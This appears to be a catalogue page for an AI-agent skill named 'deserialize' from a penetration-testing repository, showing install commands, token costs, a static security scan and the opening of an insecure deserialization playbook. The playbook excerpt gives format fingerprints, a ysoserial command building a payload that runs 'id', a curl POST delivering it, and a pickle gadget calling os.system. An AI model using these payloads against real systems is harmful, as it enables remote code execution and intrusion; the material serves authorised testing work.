Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/pentesterflow/agent/deserializenpx skills add PentesterFlow/agent --skill deserializegit clone --depth 1 https://github.com/PentesterFlow/agentWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00096 | $0.01773 |
| Opus 5 | $0.00048 | $0.00886 |
| Sonnet 5 | $0.00019 | $0.00355 |
| Haiku 4.5 | $0.00010 | $0.00177 |
Grade B, and why
deserialize scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream" Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('id > /tmp/proof',)) How it starts
The opening of the file, as written. The whole thing — 151 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Insecure deserialization playbook
You suspect a server is deserializing attacker-influenced data. RCE is on the table — but only if you ship the right gadget chain.
Execution rule: use real captured parameters, cookies, keys, and callback hosts before running commands. Never write literal placeholders such as <KEY> or <endpoint> to files; if key material or a sample blob is missing, ask once.
1. Fingerprint the format
| Magic | Format |
|---|---|
rO0 (base64 of \xac\xed) |
Java serialized |
\xac\xed\x00\x05 (raw) |
Java serialized |
AAEAAAD///// (base64) or \x00\x01\x00\x00\x00\xff\xff\xff\xff |
.NET BinaryFormatter |
__viewstate / __VIEWSTATE cookie or form field |
ASP.NET ViewState (often LosFormatter/BinaryFormatter underneath) |
gASV (base64 of \x80\x05\x95), gAR, gAP (\x80\x04, \x80\x03) |
Python pickle |
O: (e.g. O:8:"stdClass":0:{}) |
PHP serialize |
_$$ND_FUNC$$_ / IIFE patterns |
Node node-serialize |
!! tags inside YAML / !!python/object |
YAML with type resolution (PyYAML, SnakeYAML) |
BSON / BinData |
MongoDB BSON — deserialization paths usually safe; check anyway |
Source of the data matters: cookie, form field, file upload, query param, message queue, RPC framing.
2. Java
Default gadget toolkit: ysoserial (https://github.com/frohoff/ysoserial).
# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"
Chains worth iterating through (depends on classpath):
CommonsCollections1..7— Apache Commons Collections.Spring1,Spring2.JRMPClient/JRMPListener— when the only thing that deserializes is a JRMP endpoint; chain with a hosted JRMP listener.URLDNS— leak-only; useful as a confirm primitive (DNS hit proves deserialization happens).
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 151 lines · 96 tokens per session scan B c04cd1a670c9
deserialize is a skill published in the GitHub repository PentesterFlow/agent (1,316 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 96 tokens to every session and 1,773 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
osint
Drive extroosint with the right kind, feeds, pivots, and keys.
cwe
Exhaustively test a target against every applicable CWE.
penetration-testing
Run a scoped pentest with NmapIt, Burp, Metasploit, and a written report.
pwn-ai-agent-curriculum
Drive PWN::AI::Agent::Curriculum from pwneval.
pwn-ai-agent-loop
Drive PWN::AI::Agent::Loop from pwneval.
pwn-ai-agent-reward
Drive PWN::AI::Agent::Reward from pwneval.